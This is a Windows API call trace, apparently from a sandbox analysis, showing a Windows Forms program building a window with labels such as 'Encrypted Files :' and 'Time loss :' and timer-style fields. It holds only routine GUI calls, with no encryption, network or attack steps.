[0089.413] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0089.413] GetSystemMetrics (nIndex=42) returned 0
[0089.413] GetWindowTextW (in: hWnd=0x30272, lpString=0x2ed0c0, nMaxCount=18 | out: lpString="Encrypted Files :") returned 17
[0089.413] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0xd, wParam=0x12, lParam=0x2ed0c0) returned 0x11
[0089.413] SendMessageW (hWnd=0x20278, Msg=0x30, wParam=0x320a0259, lParam=0x0) returned 0x0
[0089.413] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x30, wParam=0x320a0259, lParam=0x0) returned 0x0
[0089.424] SendMessageW (hWnd=0x20278, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409
[0089.424] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409
[0089.425] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x0, lParam=0x0) returned 0x0
[0089.425] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x0, lParam=0x0) returned 0x0
[0089.425] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x5, wParam=0x0, lParam=0x89021e) returned 0x0
[0089.425] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x3, wParam=0x0, lParam=0x1700b3) returned 0x0
[0089.425] GetClientRect (in: hWnd=0x20278, lpRect=0x2ed4e0 | out: lpRect=0x2ed4e0) returned 1
[0089.425] GetWindowRect (in: hWnd=0x20278, lpRect=0x2ed4e0 | out: lpRect=0x2ed4e0) returned 1
[0089.425] GetParent (hWnd=0x20278) returned 0x30272
[0089.425] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed4e0, cPoints=0x2 | out: lpPoints=0x2ed4e0) returned -37552477
[0089.425] SendMessageW (hWnd=0x20278, Msg=0x2210, wParam=0x2780001, lParam=0x20278) returned 0x0
[0089.425] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x2210, wParam=0x2780001, lParam=0x20278) returned 0x0
[0089.425] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.425] GetParent (hWnd=0x20278) returned 0x30272
[0089.425] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.426] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.426] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.426] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName="Time loss :", dwStyle=0x56000000, X=6, Y=128, nWidth=166, nHeight=52, hWndParent=0x30272, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x2027a
[0089.426] SetWindowLongPtrW (hWnd=0x2027a, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.426] GetWindowLongPtrW (hWnd=0x2027a, nIndex=-4) returned 0x77a8b0ac
[0089.429] SetWindowLongPtrW (hWnd=0x2027a, nIndex=-4, dwNewLong=0x1b1a1d0c) returned 0x77a8b0ac
[0089.429] GetWindowLongPtrW (hWnd=0x2027a, nIndex=-4) returned 0x1b1a1d0c
[0089.429] GetWindowLongPtrW (hWnd=0x2027a, nIndex=-16) returned 0x46000000
[0089.429] GetWindowLongPtrW (hWnd=0x2027a, nIndex=-12) returned 0x0
[0089.429] SetWindowLongPtrW (hWnd=0x2027a, nIndex=-12, dwNewLong=0x2027a) returned 0x0
[0089.429] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x81, wParam=0x0, lParam=0x2ed990) returned 0x1
[0089.431] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x83, wParam=0x0, lParam=0x2eda40) returned 0x0
[0089.432] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x1, wParam=0x0, lParam=0x2ed960) returned 0x0
[0089.432] GetWindow (hWnd=0x2027a, uCmd=0x3) returned 0x20278
[0089.432] GetClientRect (in: hWnd=0x2027a, lpRect=0x2ed3f0 | out: lpRect=0x2ed3f0) returned 1
[0089.432] GetWindowRect (in: hWnd=0x2027a, lpRect=0x2ed3f0 | out: lpRect=0x2ed3f0) returned 1
[0089.432] GetParent (hWnd=0x2027a) returned 0x30272
[0089.432] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed3f0, cPoints=0x2 | out: lpPoints=0x2ed3f0) returned -37552477
[0089.433] SetWindowTextW (hWnd=0x2027a, lpString="Time loss :") returned 1
[0089.433] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xc, wParam=0x0, lParam=0x26362ac) returned 0x1
[0089.433] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x5, wParam=0x0, lParam=0x3400a6) returned 0x0
[0089.433] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x3, wParam=0x0, lParam=0x800006) returned 0x0
[0089.433] GetClientRect (in: hWnd=0x2027a, lpRect=0x2ed530 | out: lpRect=0x2ed530) returned 1
[0089.433] GetWindowRect (in: hWnd=0x2027a, lpRect=0x2ed530 | out: lpRect=0x2ed530) returned 1
[0089.433] GetParent (hWnd=0x2027a) returned 0x30272
[0089.433] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed530, cPoints=0x2 | out: lpPoints=0x2ed530) returned -37552477
[0089.433] SendMessageW (hWnd=0x2027a, Msg=0x2210, wParam=0x27a0001, lParam=0x2027a) returned 0x0
[0089.433] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x2210, wParam=0x27a0001, lParam=0x2027a) returned 0x0
[0089.434] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.434] GetParent (hWnd=0x2027a) returned 0x30272
[0089.434] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.434] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.435] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x264fc08 | out: lpWndClass=0x264fc08) returned 1
[0089.436] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.436] CoTaskMemAlloc (cb=0x58) returned 0x1ac17e90
[0089.437] RegisterClassW (lpWndClass=0x2edf40) returned 0xc16f
[0089.437] CoTaskMemFree (pv=0x1ac17e90)
[0089.437] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.437] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="00", dwStyle=0x5600000d, X=71, Y=16, nWidth=27, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x40298
[0089.437] SetWindowLongPtrW (hWnd=0x40298, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.437] GetWindowLongPtrW (hWnd=0x40298, nIndex=-4) returned 0x7fefc5861b4
[0089.438] SetWindowLongPtrW (hWnd=0x40298, nIndex=-4, dwNewLong=0x1b1a1ddc) returned 0x7fefc5861b4
[0089.438] GetWindowLongPtrW (hWnd=0x40298, nIndex=-4) returned 0x1b1a1ddc
[0089.438] GetWindowLongPtrW (hWnd=0x40298, nIndex=-16) returned 0x4600000d
[0089.438] GetWindowLongPtrW (hWnd=0x40298, nIndex=-12) returned 0x0
[0089.438] SetWindowLongPtrW (hWnd=0x40298, nIndex=-12, dwNewLong=0x40298) returned 0x0
[0089.438] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.438] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.439] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.439] GetWindow (hWnd=0x40298, uCmd=0x3) returned 0x0
[0089.439] GetClientRect (in: hWnd=0x40298, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.439] GetWindowRect (in: hWnd=0x40298, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.439] GetParent (hWnd=0x40298) returned 0x2027a
[0089.439] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.440] SetWindowTextW (hWnd=0x40298, lpString="00") returned 1
[0089.440] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xc, wParam=0x0, lParam=0x25fd95c) returned 0x1
[0089.440] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x5, wParam=0x0, lParam=0x14001b) returned 0x0
[0089.440] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x3, wParam=0x0, lParam=0x100047) returned 0x0
[0089.441] GetClientRect (in: hWnd=0x40298, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.441] GetWindowRect (in: hWnd=0x40298, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.441] GetParent (hWnd=0x40298) returned 0x2027a
[0089.441] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.441] SendMessageW (hWnd=0x40298, Msg=0x2210, wParam=0x2980001, lParam=0x40298) returned 0x0
[0089.441] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x2210, wParam=0x2980001, lParam=0x40298) returned 0x0
[0089.441] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.441] GetParent (hWnd=0x40298) returned 0x2027a
[0089.441] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.441] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.442] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.442] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=104, Y=14, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x202a0
[0089.442] SetWindowLongPtrW (hWnd=0x202a0, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.442] GetWindowLongPtrW (hWnd=0x202a0, nIndex=-4) returned 0x7fefc5861b4
[0089.442] SetWindowLongPtrW (hWnd=0x202a0, nIndex=-4, dwNewLong=0x1b1a1e2c) returned 0x7fefc5861b4
[0089.467] GetWindowLongPtrW (hWnd=0x202a0, nIndex=-4) returned 0x1b1a1e2c
[0089.467] GetWindowLongPtrW (hWnd=0x202a0, nIndex=-16) returned 0x4600000d
[0089.467] GetWindowLongPtrW (hWnd=0x202a0, nIndex=-12) returned 0x0
[0089.467] SetWindowLongPtrW (hWnd=0x202a0, nIndex=-12, dwNewLong=0x202a0) returned 0x0
[0089.467] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.467] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.467] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.467] GetWindow (hWnd=0x202a0, uCmd=0x3) returned 0x40298
[0089.467] GetClientRect (in: hWnd=0x202a0, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.467] GetWindowRect (in: hWnd=0x202a0, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.467] GetParent (hWnd=0x202a0) returned 0x2027a
[0089.467] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.468] SetWindowTextW (hWnd=0x202a0, lpString=":") returned 1
[0089.468] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.468] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.468] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x3, wParam=0x0, lParam=0xe0068) returned 0x0
[0089.468] GetClientRect (in: hWnd=0x202a0, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.468] GetWindowRect (in: hWnd=0x202a0, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.468] GetParent (hWnd=0x202a0) returned 0x2027a
[0089.468] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.468] SendMessageW (hWnd=0x202a0, Msg=0x2210, wParam=0x2a00001, lParam=0x202a0) returned 0x0
[0089.468] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x2210, wParam=0x2a00001, lParam=0x202a0) returned 0x0
[0089.468] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.469] GetParent (hWnd=0x202a0) returned 0x2027a
[0089.469] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.469] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.469] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.469] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=52, Y=14, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x202a2
[0089.469] SetWindowLongPtrW (hWnd=0x202a2, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.470] GetWindowLongPtrW (hWnd=0x202a2, nIndex=-4) returned 0x7fefc5861b4
[0089.470] SetWindowLongPtrW (hWnd=0x202a2, nIndex=-4, dwNewLong=0x1b1a1e7c) returned 0x7fefc5861b4
[0089.470] GetWindowLongPtrW (hWnd=0x202a2, nIndex=-4) returned 0x1b1a1e7c
[0089.470] GetWindowLongPtrW (hWnd=0x202a2, nIndex=-16) returned 0x4600000d
[0089.470] GetWindowLongPtrW (hWnd=0x202a2, nIndex=-12) returned 0x0
[0089.470] SetWindowLongPtrW (hWnd=0x202a2, nIndex=-12, dwNewLong=0x202a2) returned 0x0
[0089.470] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.470] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.471] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.471] GetWindow (hWnd=0x202a2, uCmd=0x3) returned 0x202a0
[0089.471] GetClientRect (in: hWnd=0x202a2, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.471] GetWindowRect (in: hWnd=0x202a2, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.471] GetParent (hWnd=0x202a2) returned 0x2027a
[0089.471] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.471] SetWindowTextW (hWnd=0x202a2, lpString=":") returned 1
[0089.471] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.472] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.472] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x3, wParam=0x0, lParam=0xe0034) returned 0x0
[0089.472] GetClientRect (in: hWnd=0x202a2, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.472] GetWindowRect (in: hWnd=0x202a2, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.472] GetParent (hWnd=0x202a2) returned 0x2027a
[0089.472] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.472] SendMessageW (hWnd=0x202a2, Msg=0x2210, wParam=0x2a20001, lParam=0x202a2) returned 0x0
[0089.472] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x2210, wParam=0x2a20001, lParam=0x202a2) returned 0x0
[0089.472] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.472] GetParent (hWnd=0x202a2) returned 0x2027a
[0089.472] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.472] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.472] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.473] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=48, Y=12, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20294
[0089.473] SetWindowLongPtrW (hWnd=0x20294, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.473] GetWindowLongPtrW (hWnd=0x20294, nIndex=-4) returned 0x7fefc5861b4
[0089.473] SetWindowLongPtrW (hWnd=0x20294, nIndex=-4, dwNewLong=0x1b1a1ecc) returned 0x7fefc5861b4
[0089.473] GetWindowLongPtrW (hWnd=0x20294, nIndex=-4) returned 0x1b1a1ecc
[0089.473] GetWindowLongPtrW (hWnd=0x20294, nIndex=-16) returned 0x4600000d
[0089.473] GetWindowLongPtrW (hWnd=0x20294, nIndex=-12) returned 0x0
[0089.473] SetWindowLongPtrW (hWnd=0x20294, nIndex=-12, dwNewLong=0x20294) returned 0x0
[0089.473] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.473] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.473] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.473] GetWindow (hWnd=0x20294, uCmd=0x3) returned 0x202a2
[0089.473] GetClientRect (in: hWnd=0x20294, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.473] GetWindowRect (in: hWnd=0x20294, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.473] GetParent (hWnd=0x20294) returned 0x2027a
[0089.473] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.474] SetWindowTextW (hWnd=0x20294, lpString=":") returned 1
[0089.474] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.474] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.475] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x3, wParam=0x0, lParam=0xc0030) returned 0x0
[0089.475] GetClientRect (in: hWnd=0x20294, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.475] GetWindowRect (in: hWnd=0x20294, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.475] GetParent (hWnd=0x20294) returned 0x2027a
[0089.475] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.475] SendMessageW (hWnd=0x20294, Msg=0x2210, wParam=0x2940001, lParam=0x20294) returned 0x0
[0089.475] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x2210, wParam=0x2940001, lParam=0x20294) returned 0x0
[0089.475] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.475] GetParent (hWnd=0x20294) returned 0x2027a
[0089.475] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.475] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.475] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.475] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=48, Y=12, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20296
[0089.475] SetWindowLongPtrW (hWnd=0x20296, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.475] GetWindowLongPtrW (hWnd=0x20296, nIndex=-4) returned 0x7fefc5861b4
[0089.476] SetWindowLongPtrW (hWnd=0x20296, nIndex=-4, dwNewLong=0x1b1a1f1c) returned 0x7fefc5861b4
[0089.476] GetWindowLongPtrW (hWnd=0x20296, nIndex=-4) returned 0x1b1a1f1c
[0089.476] GetWindowLongPtrW (hWnd=0x20296, nIndex=-16) returned 0x4600000d
[0089.476] GetWindowLongPtrW (hWnd=0x20296, nIndex=-12) returned 0x0
[0089.476] SetWindowLongPtrW (hWnd=0x20296, nIndex=-12, dwNewLong=0x20296) returned 0x0
[0089.476] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.476] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.476] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.476] GetWindow (hWnd=0x20296, uCmd=0x3) returned 0x20294
[0089.476] GetClientRect (in: hWnd=0x20296, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.476] GetWindowRect (in: hWnd=0x20296, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.476] GetParent (hWnd=0x20296) returned 0x2027a
[0089.476] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.477] SetWindowTextW (hWnd=0x20296, lpString=":") returned 1
[0089.477] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.477] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.477] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x3, wParam=0x0, lParam=0xc0030) returned 0x0
[0089.477] GetClientRect (in: hWnd=0x20296, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.477] GetWindowRect (in: hWnd=0x20296, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.477] GetParent (hWnd=0x20296) returned 0x2027a
[0089.477] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.477] SendMessageW (hWnd=0x20296, Msg=0x2210, wParam=0x2960001, lParam=0x20296) returned 0x0
[0089.477] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x2210, wParam=0x2960001, lParam=0x20296) returned 0x0
[0089.477] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.477] GetParent (hWnd=0x20296) returned 0x2027a
[0089.477] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.477] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.478] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.478] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=48, Y=12, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20290
[0089.478] SetWindowLongPtrW (hWnd=0x20290, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.478] GetWindowLongPtrW (hWnd=0x20290, nIndex=-4) returned 0x7fefc5861b4
[0089.478] SetWindowLongPtrW (hWnd=0x20290, nIndex=-4, dwNewLong=0x1b1a1f6c) returned 0x7fefc5861b4
[0089.478] GetWindowLongPtrW (hWnd=0x20290, nIndex=-4) returned 0x1b1a1f6c
[0089.478] GetWindowLongPtrW (hWnd=0x20290, nIndex=-16) returned 0x4600000d
[0089.478] GetWindowLongPtrW (hWnd=0x20290, nIndex=-12) returned 0x0
[0089.478] SetWindowLongPtrW (hWnd=0x20290, nIndex=-12, dwNewLong=0x20290) returned 0x0
[0089.478] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.478] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.478] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.478] GetWindow (hWnd=0x20290, uCmd=0x3) returned 0x20296
[0089.478] GetClientRect (in: hWnd=0x20290, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.478] GetWindowRect (in: hWnd=0x20290, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.478] GetParent (hWnd=0x20290) returned 0x2027a
[0089.479] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.479] SetWindowTextW (hWnd=0x20290, lpString=":") returned 1
[0089.479] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.479] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.479] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x3, wParam=0x0, lParam=0xc0030) returned 0x0
[0089.479] GetClientRect (in: hWnd=0x20290, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.479] GetWindowRect (in: hWnd=0x20290, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.479] GetParent (hWnd=0x20290) returned 0x2027a
